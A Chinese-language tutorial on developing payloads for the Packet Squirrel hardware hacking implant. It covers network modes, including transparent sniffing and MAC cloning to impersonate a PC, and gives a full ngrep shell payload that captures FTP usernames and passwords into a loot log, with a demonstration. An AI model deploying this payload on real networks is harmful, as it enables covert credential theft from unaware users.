前两篇我们介绍了Packet Squirrel三个payloads的相关内容,同时我们还提到了Packet Squirrel支持自定义payload的开发,通过上传自己的payload,实现我们想要的功能。本篇文章我们就主要介绍有关Packet Squirrel自主开发payload的内容。
内容回顾:
硬件黑客工具Packet Squirrel之初识篇
硬件黑客工具Packet Squirrel之二:实现openVPN远程访问
首先,Packet Squirrel支持三种语言:Linux Shell、PHP、Python2.x。
官方默认使用SHELL编程形式来开发payload,payload命名必须为payload.sh\py\php。
Packet Squirrel的payload开发本质上并不属于严格意义的脚本语言,其内置了四种命令:
1:NETMODE
决定Packet Squirrel运行在哪种网络模式下,一共有五种网络模式可供选择:
A、NAT:NAT模式,参考虚拟机常见网络类型的功能;
B、BRIDGE:桥接模式,同样参考虚拟机常见网络类型的功能;
C、TRANSPARENT:传输模式,与桥接模式很像,但区别在于Packet Squirrel不会从WAN口上游的路由交换设备获取IP地址,对于网络两端来说属于透明传输模式,并实现监听Packet Squirrel设备的所有网络流量。
D、VPN:VPN模式,参考远程访问openVPN功能实现的网络类型。
E、CLONE:克隆模式,官方固件1.1版本升级后新增功能,可以克隆Packet Squirrel设备Lan口连接的PC机MAC地址,同时修改设备WAN口的MAC地址为相同地址,用以伪造成目标PC机,此过程可以在几秒钟内完成。
2:LED
Packet Squirrel设备采用的RGB LED灯以各种颜色标示设备工作状态。
目前主要有RED、GREEN、BLUE、YELLOW、CYAN、MAGANTA、WHITE等几种颜色。
同时可以定义LED灯的闪烁频率、精确到ms级。例如命令:LED ATTACK(代表正在执行攻击,以黄色灯固定频率闪烁)LED R SLOW(代表出现故障,红色灯慢闪烁)
3:BUTTON
通过Packet Squirrel上面的RESET按钮可用来触发某种动作,在脚本中可定义按下RESET执行某些操作和在固定时间(秒)内按下RESET来执行某种操作等。
4:SWITCH
Packet Squirrel通过通电启动设备时读取switch文件内容(1、2、3等)来决定启用哪个payload。
这里注意Packet Squirrel设备中外置U盘中的payloads文件夹优先级高于设备内置payloads文件夹。
]另外,在Packet Squirrel中已经内置了几个小工具来帮助我们自定义payload的开发功能,例如autossh、urlsnarf、meterpreter-php/https、nmap、ncat、tcpdump等。
下面我们主要参考一个Hak5给出的有关利用ngrep嗅探网络流量的payload来进一步熟悉相关内容。
首先定义基础变量、参数、生成的文件路径以及文件名。
!/bin/bash
NGREP_OPTIONS=("-wiql" "user|pass" "port" "21")
CONDITION=""
WCNUM=3
BUTTON_WAIT="5s"
LOOT_DIR="/mnt/loot/ngrep"
LOG_FILE="${LOOT_DIR}/ngrep-${RANDOM}.log"
使用sync更新内容,同时鉴于设备性能等其他因素考虑,使用sleep 5来创建一段缓冲时间是非常必要的。
function syncFS() {
while true
do
sync
sleep 5
done
}
设定初始化设备过程,网络模式以及创建目录等。
function setup() {
LED OFF
NETMODE TRANSPARENT
sleep 5
mkdir -p $LOOT_DIR
}
检查生成文件
function checkLog() {
[[ -z $CONDITION ]] && {
grep -qi $CONDITION $LOG_FILE && {
return 0
}
} || {
[[ $(wc -l < $LOG_FILE) -gt $WCNUM ]] && {
return 0
}
}
return 1
}
payload主要部分,设定ngrep参数以及获取进程pid,同时可以看到该部分定义了按下RESET后执行检查文件等操作,同时关闭LED灯。
function run() {
ngrep "${NGREP_OPTIONS[@]}" 2>&1 > $LOG_FILE &
npid=$!
while true
do
NO_LED=true BUTTON && {
checkLog && {
BUTTON $BUTTON_WAIT && {
LED FINISH
kill $npid
sleep 3
LED OFF
halt
}
} || {
LED FAIL
sleep 3
LED OFF
}
}
done
}
定义了在设备初始化过程中检查U盘是否连接,否则LED灯显示红色闪烁状态。
[[ ! -f /mnt/NO_MOUNT ]] && {
setup
syncFS &
run
} || {
LED FAIL
}
接下来我们看一下脚本在实际运行中的效果,首先将该payload.sh文件保存至U盘下payloads文件夹switch1内。
这里赋予sh脚本可执行权限后,可通电准备测试了。
这里查看Packet Squirrel设备Lan口PC机的网络状态,其中AX8817网卡收到来自上游路由器分配的IP地址(印证了Packet Squirrel在payload中设置为传输模式)。
#p#分页标题#e#
现在由PC机访问预先准备的FTP服务器:
在ftp完成访问后,我们手动按下RESET按钮,等待LED指示灯进行红色闪烁表示在进行存储操作后,待LED灯熄灭后,可直接查看U盘下/loot/ngerp/xx.log文件。
打开生成的文件可清晰看到通过上面的payload执行ngrep,成功获取到ftp登陆过程的用户名和密码。
总的来说,Packet Squirrel的payload开发还是比较容易的,基本懂shell语法或python的同学都可以自己尝试去写。